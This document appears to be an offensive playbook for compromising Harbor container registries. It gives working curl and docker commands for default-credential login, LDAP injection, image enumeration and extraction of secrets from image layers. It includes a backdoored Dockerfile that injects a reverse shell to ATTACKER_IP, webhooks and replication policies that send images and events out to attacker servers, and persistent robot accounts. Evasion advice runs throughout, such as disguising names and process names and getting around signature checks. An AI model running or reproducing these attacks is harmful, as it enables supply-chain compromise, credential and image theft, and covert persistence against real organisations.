Harbor is an enterprise-grade private container image registry—providing image hosting, vulnerability scanning, signature verification, replication policies, Robot Account, and other features. The default administrator account admin/Harbor12345 has not been changed in a large number of deployments. Once administrator privileges are obtained, an attacker can enumerate and pull all project images, extract hardcoded credentials from image layers (environment variables/configuration files/private keys), inject backdoor images to carry out supply chain attacks, create Webhooks for event monitoring and data exfiltration, use replication policies to steal images to an attacker-controlled Registry, and create Robot Accounts to achieve persistent access.
In-depth reference
After identifying a specific attack path, load the reference document to obtain the complete commands and exploitation payloads:
- API calls, image analysis, injection templates, Webhook/replication policy configuration → read references/attack-techniques.md
Phase 1: Service discovery and version identification
1.1 Instance identification
Harbor's default ports and fingerprints:
| Component | Default port | Identification feature |
|---|---|---|
| Web UI / API | 80 / 443 | /api/v2.0/systeminfo returns version,/harbor/sign-in login page |
| Docker Registry API | 443 / 5000 | /v2/ returns {} or 401,Docker-Distribution-API-Version response header |
| Notary (image signing) | 4443 | TLS,Notary Server API |
| Trivy (vulnerability scanning) | Internal | Invoked indirectly through the Harbor API |
# 指纹探测
curl -sk https://TARGET/api/v2.0/systeminfo | jq .
# 返回示例: {"with_notary":true,"with_trivy":true,"harbor_version":"v2.x.x",...}
# Docker Registry API 探测
curl -sk https://TARGET/v2/
# 返回 {} 或 401 Unauthorized(确认是 Docker Registry)
# 首页探测
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/harbor/sign-in
# 200 = Harbor Web UI
1.2 Version and feature detection
The version information determines the available attack surface:
| Version range | Key features | Security impact |
|---|---|---|
| v1.x | Old API (/api/)、ChartMuseum |
Some APIs require no authentication |
| v2.0-v2.4 | New API (/api/v2.0/)、Robot Account v1 |
Robot Account permissions are coarse-grained |
| v2.5+ | Robot Account v2, Cosign signing | Fine-grained permissions but complex configuration |
| v2.8+ | OIDC group mapping, Proxy Cache | Proxy Cache may leak upstream credentials |
Phase 2: Authentication detection and credential acquisition
2.1 Default credential testing
# 默认管理员凭据(大量部署未修改)
curl -sk -u admin:Harbor12345 https://TARGET/api/v2.0/users/current | jq .
# 常见弱密码
for pass in Harbor12345 harbor admin Admin123 password; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" \
-u "admin:$pass" https://TARGET/api/v2.0/users/current)
echo "admin:$pass -> $CODE"
done
2.2 API Token and Docker Login
# Docker CLI 登录(成功后凭据缓存在 ~/.docker/config.json)
docker login TARGET -u admin -p Harbor12345
# 获取 Bearer Token(用于 Registry API)
curl -sk "https://TARGET/service/token?service=harbor-registry&scope=registry:catalog:*" \
-u admin:Harbor12345 | jq -r '.token'
# 使用 Basic Auth 直接调用 API
HARBOR_AUTH=$(echo -n 'admin:Harbor12345' | base64)
curl -sk -H "Authorization: Basic $HARBOR_AUTH" https://TARGET/api/v2.0/projects
2.3 LDAP/OIDC authentication bypass
Harbor supports LDAP/OIDC external authentication. If LDAP anonymous binding is enabled or OIDC is misconfigured, authentication may be bypassed:
# 检查认证模式
curl -sk https://TARGET/api/v2.0/systeminfo | jq '.auth_mode'
# "db_auth" = 本地数据库, "ldap_auth" = LDAP, "oidc_auth" = OIDC
# LDAP 认证模式下,尝试 LDAP 注入
# username: *)(objectClass=* 或 admin)(&
Phase 3: Attack decision tree
发现 Harbor 实例
├── 未认证
│ ├── /api/v2.0/systeminfo → 确认版本与功能
│ ├── /api/v2.0/projects → 公开项目枚举(project_public=true)
│ ├── /v2/_catalog → Registry API 镜像目录(可能无需认证)
│ ├── 默认凭据 admin/Harbor12345 → 尝试登录
│ └── 无法登录 → 搜索泄露的 ~/.docker/config.json / Harbor Token
│
├── 已认证(管理员权限)
│ ├── 项目与镜像枚举 → Phase 4
│ │ ├── 所有项目列表 → 私有项目暴露
│ │ ├── 镜像列表 → 拉取分析(凭据提取)
│ │ └── Artifact 标签 → 识别生产/敏感镜像
│ │
│ ├── 镜像拉取与凭据提取 → Phase 5
│ │ ├── docker pull → 本地分析镜像层
│ │ ├── 环境变量 → API Key/数据库密码
│ │ ├── 配置文件 → .env / config.yaml / application.properties
│ │ └── 私钥/证书 → SSH Key / TLS 证书
│ │
│ ├── 有 push 权限?
│ │ └── 是 → 镜像后门注入(供应链攻击)→ Phase 6
│ │
│ ├── 管理员功能
│ │ ├── Webhook 创建 → 事件监控/数据外传 → Phase 7
│ │ ├── 复制策略 → 窃取镜像到攻击者 Registry → Phase 8
│ │ ├── Robot Account → 持久化访问 → Phase 9
│ │ └── 漏洞扫描报告 → 已知漏洞情报 → Phase 10
│ │
│ └── 用户管理 → 创建后门账户 / 提权
│
└── 已认证(普通用户)
├── 可见项目枚举 → 镜像拉取与分析
├── 项目成员列表 → 识别高权限用户
└── 尝试提权 → 项目管理员 → 系统管理员
Phase 4: Project and image enumeration
4.1 Project enumeration
# 列出所有项目(需要认证或仅返回公开项目)
curl -sk -u admin:Harbor12345 \
"https://TARGET/api/v2.0/projects?page_size=100" | jq '.[].name'
# 项目详细信息(成员数、镜像数、存储配额)
curl -sk -u admin:Harbor12345 \
"https://TARGET/api/v2.0/projects?page_size=100" | \
jq '.[] | {name, repo_count, metadata}'
4.2 Image repository enumeration
# 指定项目的所有仓库
curl -sk -u admin:Harbor12345 \
"https://TARGET/api/v2.0/projects/PROJECT_NAME/repositories?page_size=100" | \
jq '.[].name'
# Artifact(标签)列表
curl -sk -u admin:Harbor12345 \
"https://TARGET/api/v2.0/projects/PROJECT_NAME/repositories/REPO_NAME/artifacts" | \
jq '.[] | {digest: .digest, tags: [.tags[]?.name], size: .size}'
→ read references/attack-techniques.md to obtain the batch enumeration script
Phase 5: Image pulling and credential extraction
Images are the highest-value attack target—developers often hardcode credentials, API Keys, and database connection strings in images.
5.1 Image pulling
# Docker CLI 拉取
docker pull TARGET/PROJECT_NAME/IMAGE:TAG
# 使用 skopeo 拉取(无需 Docker daemon)
skopeo copy --src-tls-verify=false \
docker://TARGET/PROJECT_NAME/IMAGE:TAG \
dir:./image-export/
# 使用 crane 拉取
crane pull --insecure TARGET/PROJECT_NAME/IMAGE:TAG image.tar
5.2 Image analysis and credential extraction
# 查看镜像历史(暴露构建时的 ENV/ARG/COPY 操作)
docker history TARGET/PROJECT_NAME/IMAGE:TAG --no-trunc
# 使用 dive 逐层分析
dive TARGET/PROJECT_NAME/IMAGE:TAG
# 导出镜像文件系统
docker save TARGET/PROJECT_NAME/IMAGE:TAG -o image.tar
mkdir image-layers && tar xf image.tar -C image-layers/
High-value search targets:
| File/path | Credentials that may be contained |
|---|---|
/app/.env / /.env |
Database passwords, API Keys, Secrets |
/app/config.* / /etc/app/ |
Application configuration (connection strings) |
~/.ssh/id_rsa |
SSH private key |
~/.aws/credentials |
AWS AK/SK |
/run/secrets/* |
Docker Secrets |
ENV Command |
Credentials in environment variables |
→ Read references/attack-techniques.md to get the automated credential search script
Phase 6: Post-image backdoor injection (supply chain attack)
If you have push permissions, you can tamper with the image to implant a backdoor:
6.1 Attack flow
拉取目标镜像 → 添加恶意层 → 重新打标签 → 推送覆盖原镜像
# 拉取原始镜像
docker pull TARGET/PROJECT/IMAGE:latest
# 创建后门 Dockerfile
cat > Dockerfile.inject <<'DEOF'
FROM TARGET/PROJECT/IMAGE:latest
# 注入反弹 Shell 到启动脚本
RUN echo '#!/bin/sh' > /tmp/.init && \
echo 'nohup sh -c "while true; do sh -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1; sleep 60; done" &' >> /tmp/.init && \
chmod +x /tmp/.init
# 修改 entrypoint 先执行后门
COPY --from=0 / /
ENTRYPOINT ["/bin/sh", "-c", "/tmp/.init; exec $0 $@"]
DEOF
# 构建并推送(覆盖原标签)
docker build -f Dockerfile.inject -t TARGET/PROJECT/IMAGE:latest .
docker push TARGET/PROJECT/IMAGE:latest
6.2 Covert injection techniques
- Use multi-stage builds to reduce the size difference of extra layers
- Disguise the backdoor process name as a legitimate process (e.g.,
[kworker/0:1]) - Use existing base image layers to avoid adding suspicious layers
- Keep the original ENTRYPOINT/CMD unchanged, inject via
LD_PRELOADor an init script
→ Read references/attack-techniques.md to get the complete backdoor Dockerfile template
Phase 7: Webhook abuse
Harbor Webhooks can notify external services on events such as image push/pull/delete—attackers can exploit this mechanism to monitor repository activity or exfiltrate data.
7.1 Webhook enumeration and creation
# 列出项目的 Webhook
curl -sk -u admin:Harbor12345 \
"https://TARGET/api/v2.0/projects/PROJECT_ID/webhook/policies" | jq .
# 创建恶意 Webhook(监听所有事件)
curl -sk -X POST -u admin:Harbor12345 \
-H "Content-Type: application/json" \
"https://TARGET/api/v2.0/projects/PROJECT_ID/webhook/policies" \
-d '{
"name": "audit-integration",
"targets": [{
"type": "http",
"address": "https://ATTACKER_SERVER/harbor-hook",
"skip_cert_verify": true
}],
"event_types": [
"PUSH_ARTIFACT", "PULL_ARTIFACT", "DELETE_ARTIFACT",
"SCANNING_COMPLETED", "TAG_RETENTION"
],
"enabled": true
}'
Webhook notifications include the project name, repository name, image tag, and operator username—which can be used to:
- Monitor which images are frequently pulled (identify production images)
- Monitor newly pushed images (steal the latest build artifacts)
- Collect operator usernames (for subsequent credential attacks)
Phase 8: Replication policy exploitation
Harbor replication policies can automatically synchronize images to a remote Registry—attackers can create a replication policy to steal all images to a Registry they control.
8.1 Enumerate existing replication policies
# 列出复制策略
curl -sk -u admin:Harbor12345 \
"https://TARGET/api/v2.0/replication/policies" | jq .
# 列出远程 Registry 端点
curl -sk -u admin:Harbor12345 \
"https://TARGET/api/v2.0/registries" | jq '.[] | {id, name, url, credential}'
8.2 Create a theft policy
# 先注册攻击者 Registry 端点
curl -sk -X POST -u admin:Harbor12345 \
-H "Content-Type: application/json" \
"https://TARGET/api/v2.0/registries" \
-d '{
"name": "backup-registry",
"url": "https://ATTACKER_REGISTRY",
"credential": {"type": "basic", "access_key": "USER", "access_secret": "PASS"},
"insecure": true,
"type": "docker-hub"
}'
# 创建复制策略(推送模式,所有镜像)
curl -sk -X POST -u admin:Harbor12345 \
-H "Content-Type: application/json" \
"https://TARGET/api/v2.0/replication/policies" \
-d '{
"name": "disaster-recovery-sync",
"src_registry": null,
"dest_registry": {"id": REGISTRY_ID},
"trigger": {"type": "manual"},
"filters": [],
"enabled": true,
"override": true
}'
→ Read references/attack-techniques.md to get the auto-trigger and incremental theft configuration
Phase 9: Robot Account persistence
Robot Accounts are Harbor's service account mechanism—attackers can create Robot Accounts to achieve persistent access without requiring a user password.
9.1 Robot Account management
# 列出系统级 Robot Account
curl -sk -u admin:Harbor12345 \
"https://TARGET/api/v2.0/robots" | jq '.[] | {id, name, level, expires_at}'
# 列出项目级 Robot Account
curl -sk -u admin:Harbor12345 \
"https://TARGET/api/v2.0/projects/PROJECT_NAME/robots" | jq .
# 创建系统级 Robot Account(全项目 pull/push 权限)
curl -sk -X POST -u admin:Harbor12345 \
-H "Content-Type: application/json" \
"https://TARGET/api/v2.0/robots" \
-d '{
"name": "ci-scanner",
"duration": -1,
"level": "system",
"permissions": [{
"kind": "project",
"namespace": "*",
"access": [
{"resource": "repository", "action": "pull"},
{"resource": "repository", "action": "push"}
]
}]
}'
# 响应中的 secret 是一次性显示的密码,务必保存
Phase 10: Vulnerability scan report theft
Harbor has built-in Trivy vulnerability scanning—scan reports can be used to identify images in the target environment that contain known vulnerabilities.
# 获取 Artifact 的漏洞报告
curl -sk -u admin:Harbor12345 \
-H "X-Accept-Vulnerabilities: application/vnd.security.vulnerability.report; version=1.1" \
"https://TARGET/api/v2.0/projects/PROJECT/repositories/REPO/artifacts/TAG/additions/vulnerabilities" | \
jq '.. | .vulnerabilities? // empty | .[] | {id, severity, package, version, fix_version}'
# 筛选 Critical/High 漏洞(可用于后续漏洞利用)
# 关注: CVE 编号、受影响包名、修复版本
Value of vulnerability reports:
- Identify known CVEs in running images → exploit directly
- Understand the target's patching strategy (how long unfixed → security management maturity)
- Locate base images containing specific vulnerabilities (e.g., Log4j → all services using that base image are affected)
Tool quick reference
| Tool | Purpose | Key commands |
|---|---|---|
curl + Harbor API |
REST API calls | /api/v2.0/projects、/api/v2.0/robots |
docker CLI |
Image pull/push/analysis | docker pull/push/history/save |
skopeo |
Daemonless image operations | skopeo copy/inspect/list-tags |
crane |
Lightweight Registry tool | crane pull/push/ls/digest |
dive |
Image layer analysis | dive IMAGE View file changes layer by layer |
trivy |
Local vulnerability scanning | trivy image IMAGE |
jq |
JSON parsing | Parse API responses |
Notes
- Audit logs: Harbor records all API calls, image pulls/pushes, and user login operations; administrators can view all audit events on the "Logs" page
- Default credentials:
admin/Harbor12345is the default password set during installation, and many production environments have not changed it; once changed, the original password cannot be recovered - Image signing: If Cosign/Notary signature verification is enabled, tampered images may be rejected for deployment—the signature must also be forged or the verification policy disabled
- Quota Limits: Harbor supports project-level storage quotas; large numbers of pulls/pushes may trigger quota alerts
- Replication Policies: Created replication policies and Registry endpoints are visible to all administrators—naming should be disguised as legitimate disaster recovery/synchronization policies
- Robot Account: System-level Robot Accounts are visible to all administrators; project-level ones are visible only to project administrators—prefer project-level when persisting
- Proxy Cache: Proxy Cache projects in v2.8+ may cache authentication credentials for upstream Registries—worth checking
- Garbage Collection: Harbor GC cleans up layers not referenced by tags—overwritten original images may be permanently lost after GC